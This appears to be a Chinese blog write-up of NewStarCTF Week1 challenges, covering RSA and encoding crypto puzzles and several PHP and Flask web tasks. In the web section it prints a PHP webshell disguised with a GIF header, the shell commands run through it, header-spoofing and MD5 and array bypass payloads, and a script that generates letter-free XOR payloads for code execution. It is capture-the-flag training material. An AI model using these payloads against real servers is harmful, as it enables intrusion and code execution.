NewStarCTF 2024 公开赛道 Week1

最新推荐文章于 2024-07-25 09:24:40 发布
最新推荐文章于 2024-07-25 09:24:40 发布
阅读量836 收藏 23
点赞数 27
分类专栏： 作者 文章标签： 前端 服务器 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_85238540/article/details/140569994
版权

image.png
image.png

from Crypto.Util.number import \*
from flag import flag

def gen\_prime(n):
    res = 1

    for i in range(15):
        res \*= getPrime(n)

    return res


if __name__ == '\_\_main\_\_':
    n = gen_prime(32)
    e = 65537
    m = bytes_to_long(flag)
    c = pow(m,e,n)
    print(n)
    print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

使用风二西（风大）的轩禹RSA工具分解模数N，然后计算私钥，计算明文，明文转字符即可获得flag
image.png
image.png

Small d

image.png
image.png

from secret import flag
from Crypto.Util.number import \*

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)\*(q-1))
n = p\*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

结合题目提示，猜测是维纳攻击，还是用风大的工具选择维纳攻击模式即可
image.png

babyencoding

image.png
image.png

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

part 1是一层base64加密
image.png
part 2是一层base32加密
image.png
part 3是一层UUencode加密，使用网站http://web.chacuo.net/charsetuuencode解密，获得最后一段flag，最后进行拼接即可
image.png
image.png

Web

泄漏的秘密

image.png
image.png
首先查看一下robots.txt爬虫协议。访问/robots.txt，获得一半flag
image.png
接下来查看网站的备份文件，一般是www.zip文件，访问/www.zip，下载下来之后，获得另外一半flag
image.png
image.png

Begin of Upload

image.png
image.png
作者徽是vip1024c

发现只允许上传: JPG, JPEG, PNG, GIF图片文件
image.png
F12之后查看源代码，发现是前端验证，可以直接在浏览器检查代码把checkFile()函数删了或者改成true，并按回车确认，然后上传一句话木马文件

// 一句话木马的PHP文件的代码为如下所示
GIF89a
<?php 
//?cmd=phpinfo();
$func =create\_function('',$\_REQUEST['cmd']);
$func();
?>

image.png
image.png
还是弹出要前段验证，不要慌，换个浏览器
image.png
用火狐浏览器重复刚才的操作，就上传成功了
image.png
image.png
然后访问url /upload/shell3.php，POST传参cmd=phpinfo();发现代码成功执行
image.png
image.png
那么我们就可以进行RCE了
首先查看一下根目录有什么文件 cmd=system(“ls /”);
image.png
发现 fllll4g 文件
查看它 cmd=system(“cat /fllll4g”);
即可获得flag
image.png

ErrorFlask

image.png
Flask错误模板注入
image.png
它说给他传两个参数number1 和 number2
那我只给它传一个参数 number1 ，导致它报错

/?number1=1

image.png
然后Ctrl+U查看源代码，Ctrl+F搜索flag，即可获得flag
image.png

Begin of HTTP

image.png
它说使用 GET方式 来给 ctf 参数传入任意值来通过这关，那么我们就

/?ctf=1

image.png
第二关需要Ctrl+U查看源代码来找到secret，发现它被base64加密了，那么我们解密之后再用POST传参即可
image.png
image.png
image.png
image.png
第三关需要再Cookie中把power的值改为ctfer，改完之后回车确认，然后刷新网页即可过关
image.png
image.png
接下来需要修改User-Agent头部信息，最后点击EXECUTE执行操作来过关
image.png
image.png
接下来也是修改HTTP头，用Hackbar即可，需要使用Referer头
image.png
image.png
最后一关需要本地用户才可以访问，按照常规思路是用X-Forwarded-For，但是不行
image.png
image.png
那么我们换一个 x-real-ip，参考其他师傅博客http://t.csdn.cn/7Y4Cc
image.png
image.png

Begin of PHP

image.png
题目源码

<?php
error\_reporting(0);
highlight\_file(\_\_FILE\_\_);

if(isset($\_GET['key1']) && isset($\_GET['key2'])){
    echo "=Level 1=<br>";
    if($\_GET['key1'] !== $\_GET['key2'] && md5($\_GET['key1']) == md5($\_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($\_POST['key3'])){
        if(md5($\_POST['key3']) === sha1($\_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($\_GET['key4'])){
        if(strcmp($\_GET['key4'],file\_get\_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($\_GET['key5'])){
        if(!is\_numeric($\_GET['key5']) && $\_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($\_POST);
    foreach($\_POST as $var){
        if(preg\_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file\_get\_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}
level 1的方法一：

首先要通过Level 1 ，发现它是PHP的弱类型比较，只要两个数的md5加密后的值以0e开头就可以绕过，因为php在进行弱类型比较（即==)时,会先转换字符串的类型，再进行比较，而在比较时因为两个数都是以0e开头会被认为是科学计数法，0e后面加任何数在科学计数法中都是0，所以两数相等

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

image.png
那么给key1和key2以GET方式传参，即可通过Level 1，到达Level 2

/?key1=240610708&key2=QLTHNDT

image.png

level 1的方法二：

就算它是强类型比较（即===)时，此时两个md5后的值采用严格比较，没有规定字符串，如果这个时候传入的是数组不是字符串，可以利用md5()函数的缺陷进行绕过。数组为空，那么MD5加密之后都为0，那么就是相等的，满足条件，可以成功绕过。
payload：

/?key1[]=1&key2[]=2

image.png
接下来到Level 2，key3要用POST传参，一样可以用数组绕过
image.png
image.png
接下来到Level 3
strcmp函数是string compare(字符串比较)的缩写，用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2)，若str1=str2，则返回零；若str1e<str2，则返回负数；若str1>str2，则返回正数。
image.png
strcmp有一个bug就是如果比较的是数组的话，直接返回一个0。
那么我们依旧传一个数组过去，让(strcmp($_GET[‘key4’],file_get_contents(“/flag”)) == 0)条件成立
image.png
image.png
接下来到Level 4
key5不能是纯数字，并且key5要大于2023
image.png
is_numeric() 函数用于检测变量是否为数字或数字字符串
is_numeric()函数用2024a绕。2024a是字符串，但是弱比较的时候，因为数字在前面，php会将其整体转成数字，就可以通过比较了
image.png

接下来到Level 5
使用了extract函数https://www.runoob.com/php/func-array-extract.html
extract能覆盖变量
extract对数组进行操作的话，就是把key3[]后面的都当成数组的值吗
题目是extract了$_POST，操作的是POST数组，然后因为有默认参数所以能修改一些值
image.png
然后正则匹配检查POST数据，不能有大小写字母和数字；
如果flag5为真，那么就输出flag
接下来要使用羽师傅博客的无字母数字RCE脚本http://t.csdn.cn/4PExz
先用PHP生成字典

<?php

/\*author yu22x\*/

$myfile = fopen("xor\_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex\_i='0'.dechex($i);
		}
		else{
			$hex\_i=dechex($i);
		}
		if($j<16){
			$hex\_j='0'.dechex($j);
		}
		else{
			$hex\_j=dechex($j);
		}
		$preg = '/[a-zA-Z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg\_match($preg , hex2bin($hex\_i))||preg\_match($preg , hex2bin($hex\_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex\_i;
		$b='%'.$hex\_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

然后用Python3跑脚本

# -\*- coding: utf-8 -\*-

# author yu22x

import requests
import urllib
from sys import \*
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor\_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)



## 学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)
2401_85238540
关注
  • 27
    点赞
  • 踩
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
NewStarCTF 2024 公开赛道 Week1，2024年最新阿里面试官
2401_84181309的博客
04-10 1082
from Crypto.Util.number import * from flag import flagdef gen_prime(n): res = 1for i in range(15): res *= getPrime(n)return resif name == ‘__main__’: n = gen_prime(32) e = 65537 m = bytes_to_long(flag) c = pow(m,e,n) print(n) print©使用风二西（风大）的轩禹RSA工具分解模数N，然
华为中国大学生ICT大赛-网络技术赛道-WLAN知识资料
09-22
《华为中国大学生ICT大赛-网络技术赛道-WLAN知识资料》 在当今信息化社会，无线局域网（WLAN）已经成为我们日常生活和工作中不可或缺的一部分。华为作为全球领先的ICT解决方案提供商，其主办的“华为中国大学生ICT...
NewStarCTF 2023 公开赛道 Week1
Fab1an的博客
10-02 2672
首先要通过Level 1 ，发现它是PHP的弱类型比较，只要两个数的md5加密后的值以0e开头就可以绕过，因为php在进行弱类型比较（即==)时,会先转换字符串的类型，再进行比较，而在比较时因为两个数都是以0e开头会被认为是科学计数法，0e后面加任何数在科学计数法中都是0，所以两数相等。数组为空，那么MD5加密之后都为0，那么就是相等的，满足条件，可以成功绕过。那么接下来需要绕过if(!打开之后，是一个登录界面，试一下管理员账号admin，密码123456，登录失败，那么我们抓包，然后爆破一下密码。
NewStarCTF 2024 公开赛道 Week1，2024年最新已整理成文档
2401_83947398的博客
04-18 660
首先要通过Level 1 ，发现它是PHP的弱类型比较，只要两个数的md5加密后的值以0e开头就可以绕过，因为php在进行弱类型比较（即==)时,会先转换字符串的类型，再进行比较，而在比较时因为两个数都是以0e开头会被认为是科学计数法，0e后面加任何数在科学计数法中都是0，所以两数相等。文件头错误了，把它改正回来，文件为也要是504B，之后，把后缀改为.zip，解压后获得另外一个压缩包flag.zip。使用风二西（风大）的轩禹RSA工具分解模数N，然后计算私钥，计算明文，明文转字符即可获得flag。
NewStarCTF 2024 公开赛道 Week1，2024年最新31道网络安全面试题
2401_83946722的博客
04-13 972
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！
NewStarCTF 2023 公开赛道 Week3
Fab1an的博客
10-22 868
总体来说，该脚本通过二分查找的方式不断调整ASCII码值范围，逐步获取目标网页中的字符，并将其打印出来。用wireShark打开之后，过滤Http，一个一个看，前50个就可以看到。用户名，漏洞页面，webshell文件，然后转md5，就是flag。这段代码是一个Python脚本，用于爬取一个网页并获取其中的数据。不是key，我搞错了，导致一晚上没解出来，这咋还是道英文题🤡。然后，定义了一个URL变量，用于存储要爬取的网页地址。搜索flag，获得假flag，他让我们。（内容由讯飞星火AI生成）
NewStarCTF 2023 公开赛道 WEEK2|Crypto
qq_73643549的博客
10-11 1367
获取一组发现难以解密，所以考虑靶机特性，因为是对同一个明文加密，所以我们。但是看到题目只解一半，也就说m > q,即k4 < 0, 所以h就是我们要求取的系数。因此可以使用广播攻击(见题，如果关注到题目含义就能很快反应，笔者是崩溃的过程中提出为什么给我这么恶心的靶机才意识到的)。根据加密过程，我们知道这里应该采取费马费解法，所以我们可以把n丢到yafu中去，可以获取得到两个因子。好好分析还是挺简单的，因为只需要搞清楚h是什么就可以了。知道(p,q)后，我们就可以破解RSA了。,我们提取出(p-1)。
NewStarCTF 2023 公开赛道 Week2
Fab1an的博客
10-16 1282
时，得到的结果只是phpinfo()这个字符串，它只是将我们构造的array_rand(array_flip(getallheaders()))给执行了而已，所以我们要先用一个eval将array_rand(array_flip(getallheaders()))变为phpinfo();如果在后面，可以用array_reverse()将数组反转过来之后，再用current拿它，它在中间就不好搞了，又不能用next套娃，因为next的参数要是数组，第一次next完成之后就不是数组了，变成字符串了。
BUUCTF NewStarCTF 公开赛赛道Week1 Writeup
末初的CSDN博客
10-03 1659
BUUCTF NewStarCTF 公开赛赛道Week1 Writeup
NewStarCTF 公开赛赛道week3 web writeup
your_friends的博客
10-10 1452
里面完全的没有验证，而且应该是一个简单的判断，判断成绩是否达到了425分，那么应该是使用update更新数据库信息，让火华师傅的成绩大于425即可。这里提供两种方法，一种是用replace into替换掉update，也可以使用预编译的方式。但是点击没用查询火华的成绩时候，出现两个火华，应该是多了直接删除即可。接着直接访问文件就能RCE（用bp发包，否则这里的符号会被编码）而刚进入的页面是有一个可点击的页面进去看下verify.php。题目名字可以看出来，多SQL，堆叠注入。直接拉网上的exp打。
NewStarCTF 2023 第一阶段公开赛道部分wp
10-02
这是官方的wp文件，需要的可以下载查看
2024嗅觉赛道数据洞察报告.pptx
01-13
"2024嗅觉赛道数据洞察报告" 本报告旨在通过数据洞察，深入了解嗅觉赛道的现状、发展趋势和竞争格局，为相关企业和投资者提供决策支持。 嗅觉赛道市场概述： 嗅觉赛道是一个备受关注的领域，通过技术手段模拟或...
2024丽人赛道专题研究报告.pptx
01-13
丽人赛道专题研究报告 本报告对丽人赛道市场进行了深入的研究和分析，旨在为丽人赛道企业和投资者提供有价值的参考。报告涵盖了丽人赛道的市场现状、用户需求和行为分析、未来发展趋势、企业案例分析等方面。 研究...
2024年母婴赛道趋势洞察.pptx
01-15
本报告旨在深入洞察2024年母婴赛道的发展趋势，为相关企业和投资者提供决策依据。随着社会经济的发展和消费结构的升级，母婴市场持续扩大，竞争日趋激烈。同时，新一代父母消费观念的转变和育儿需求的升级，也为母婴...
网站基本布局CSS
m0_46608027的博客
07-24 767
* 滚动条轨道样式 *//* 滚动条样式 *//* 滑块样式 */
Web安全:Web体系架构存在的安全问题和解决方室
程序员-张师傅
07-24 1474
Web体系架构在提供丰富功能和高效服务的同时，也面临着诸多安全问题。这些问题可能涉及数据泄露、服务中断、系统被控制等多个方面，对企业和个人造成不可估量的损失。
ASP.NET Web Api 使用 EF 6，DateTime 字段如何取数据库服务器当前时间
yangshuquan的专栏
07-24 781
在做数据库设计时，为了方便进行数据追踪，通常会有几个字段是每个表都有的，比如创建时间、创建人、更新时间、更新人等，这些时间字段一般存储的是数据库服务器的时间，EF 是操作整个数据表对象，所以需要寻找方法来实现这个目的。本文分享 DB First 和 Code First 两种模式的 EF 中 DateTime 字段如何存储数据库服务器当前时间的方法。
在Vue程序中，如何检测用户的登录状态并跳转到对应页面
最新发布
exlink2012的专栏
07-25 329
通过以上步骤，你可以在Vue应用程序中检测用户的登录状态，并在用户尝试访问受保护页面时跳转到登录页面。同时，在用户登录和登出后，你可以根据需要跳转到相应的页面。
"2024丽人赛道研究与分析：市场现状、用户需求、未来趋势与企业建议
2024年，丽人赛道作为一个专注于提供美容、美发、美甲等服务的行业，具有着巨大的发展潜力。随着人们生活水平的提高和审美观念的转变，丽人赛道的市场需求不断增长。在这种背景下，我们特别对丽人赛道进行了专题研究...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值